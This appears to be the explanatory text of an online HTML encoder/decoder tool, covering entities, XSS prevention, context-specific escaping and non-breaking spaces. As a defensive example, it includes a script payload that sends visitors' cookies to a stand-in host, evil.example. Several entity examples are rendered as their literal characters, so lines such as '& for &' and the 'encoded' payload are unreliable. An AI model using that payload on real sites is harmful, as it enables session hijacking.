HTML is a markup language where certain characters carry structural meaning. The angle brackets < and > delimit HTML tags. The ampersand & begins entity references. Double quotes and single quotes delimit attribute values. When these characters appear in text content or attribute values, they must be replaced with their HTML entity equivalents so the browser displays them as literal characters rather than interpreting them as HTML syntax.
The five essential HTML entities every developer must know: & for &, < for <, > for >, " for ", and ' for '. Beyond these five, HTML supports named entities for hundreds of additional characters — © for ©, — for —, for a non-breaking space — as well as numeric character references in decimal (©) or hexadecimal (©) form for any Unicode code point.
HTML encoding is the primary defense against cross-site scripting (XSS) attacks. XSS is consistently ranked among the OWASP Top 10 most critical web security vulnerabilities. An XSS attack injects malicious scripts into a web page that then execute in other users' browsers, potentially stealing session cookies, redirecting users, or defacing the page. Proper HTML encoding of all user-supplied content before rendering prevents this class of attack entirely.
A developer builds a public comment system. A malicious user submits the comment: <script>document.location='https://evil.example/steal?c='+document.cookie</script>
Without HTML encoding, this script tag gets embedded directly in the page HTML and executes in every visitor's browser, silently sending their session cookies to the attacker's server. The session hijacking attack succeeds without any visible indication to the victim.
With proper HTML encoding applied before rendering, the comment becomes: <script>document.location='https://evil.example/steal?c='+document.cookie</script>. The browser displays this as visible text on the page — the characters < and > are visible to readers but the browser never interprets them as HTML. The XSS attack is completely neutralized. This is why every modern web framework and template engine applies HTML auto-escaping by default.
Encode on output, not on input. The correct practice is to store data in its original unencoded form and encode it for the specific rendering context at output time. Encoding on input and re-encoding on output leads to double-encoding — a user's ampersand becomes &amp; instead of &. Each rendering context (HTML body, HTML attribute, URL, JavaScript string, CSS) has its own escaping rules, and applying HTML encoding in the wrong context does not provide security.
Named vs numeric entities: named entities like © and — are human-readable but require the HTML5 entity list for reference. Numeric entities like © work for any Unicode character without needing to know its name. Both are valid in HTML5. Numeric hex references (©) are particularly useful for characters that lack a named entity.
The non-breaking space is frequently misused as a generic spacing tool. Its actual purpose is to prevent a line break between two words — useful for values like “100 km” or names that should never be split across lines. For layout spacing, CSS margin and padding are the correct tool. Overusing creates accessibility issues for screen readers and makes content harder to maintain.
This html encoder decoder converts special characters to HTML entities (&, <, >, ") and back. Choose from basic, extended, or numeric entity modes. Essential for preventing XSS and safely displaying user-generated content in HTML pages. All processing runs in your browser — no data is sent to any server.
HTML entities are special codes used to represent characters that have a reserved meaning in HTML, or characters that cannot be typed directly. For example, the < character would be interpreted as the start of an HTML tag, so it must be written as < to appear as a literal less-than sign in a web page.
HTML encoding is essential for security and correctness. If user-provided text is inserted into an HTML page without encoding, characters like <, >, and " can break the HTML structure or be exploited for cross-site scripting (XSS) attacks. Proper HTML encoding ensures text is displayed literally rather than interpreted as HTML.
A regular space in HTML is just a space character. The HTML entity represents a non-breaking space — a space that prevents a line break from occurring at that point and ensures browsers do not collapse multiple spaces into one. Use when you need a space that will always render.
Switch to Decode mode and paste your HTML-encoded text. The tool converts HTML entities like &, <, >, ", ', and named entities back to their original characters. Decoding is performed entirely in your browser — no data is sent to any server.
HTML encoding converts characters to HTML entities (e.g., & → &) for safe insertion into HTML documents. URL encoding converts characters to percent-encoded sequences (e.g., & → %26) for safe inclusion in URLs. They serve different contexts: HTML encoding is for HTML content, URL encoding is for URL query strings and paths.